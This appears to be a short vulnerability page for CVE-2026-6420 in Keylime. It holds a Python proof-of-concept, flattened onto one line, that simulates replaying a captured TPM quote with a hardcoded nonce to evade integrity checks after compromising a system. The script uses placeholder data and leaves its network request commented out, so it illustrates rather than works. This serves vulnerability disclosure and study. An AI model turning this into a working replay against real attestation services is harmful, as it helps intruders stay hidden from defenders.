CVE-2026-6420 Keylime TPM验证绕过漏洞

# Proof of Concept for CVE-2026-6420 (Keylime Hardcoded Nonce Replay) # This script demonstrates the concept of replaying a TPM quote due to a hardcoded nonce. import requests import json import time # Configuration VERIFIER_URL = "http://keylime-verifier:8888/v2.0/agents/uuid" AGENT_UUID = "D432FBB3-D2F1-4A97-9EF7-75BD81C00000" def capture_valid_quote(): """ Simulate capturing a valid TPM quote when the system is in a clean state. In a real scenario, the attacker would intercept this or read it from the agent store. """ print("[*] Capturing valid TPM quote from the agent...") # Simulating a valid quote response structure # The 'nonce' is hardcoded by the verifier, so this quote remains valid indefinitely. valid_quote = { "quote": "base64_encoded_quote_data...", "nonce": "hardcoded_challenge_nonce", # The vulnerability lies here "pcr_list": [0, 1, 2, 3], "timestamp": time.time() } print("[+] Valid quote captured and saved.") return valid_quote def replay_attack(valid_quote): """ Simulate replaying the captured quote to the verifier after system compromise. """ print("[*] System compromised. Replaying captured quote to evade detection...") # Attacker modifies the state (e.g., changes file hashes) print("[*] Modifying system files...") # Send the old quote to the verifier payload = { "agent_id": AGENT_UUID, "tpm_quote": valid_quote['quote'], "nonce": valid_quote['nonce'] } # In a real exploit, this would be sent to the verifier's API endpoint # response = requests.post(VERIFIER_URL, json=payload) print(f"[+] Quote replayed. Verifier accepts the old quote because the nonce matches.") print("[+] Integrity check bypassed. Attacker remains undetected.") if __name__ == "__main__": # Step 1: Get root access and capture quote quote_data = capture_valid_quote() # Step 2: Perform malicious actions time.sleep(1) # Step 3: Replay the old quote replay_attack(quote_data)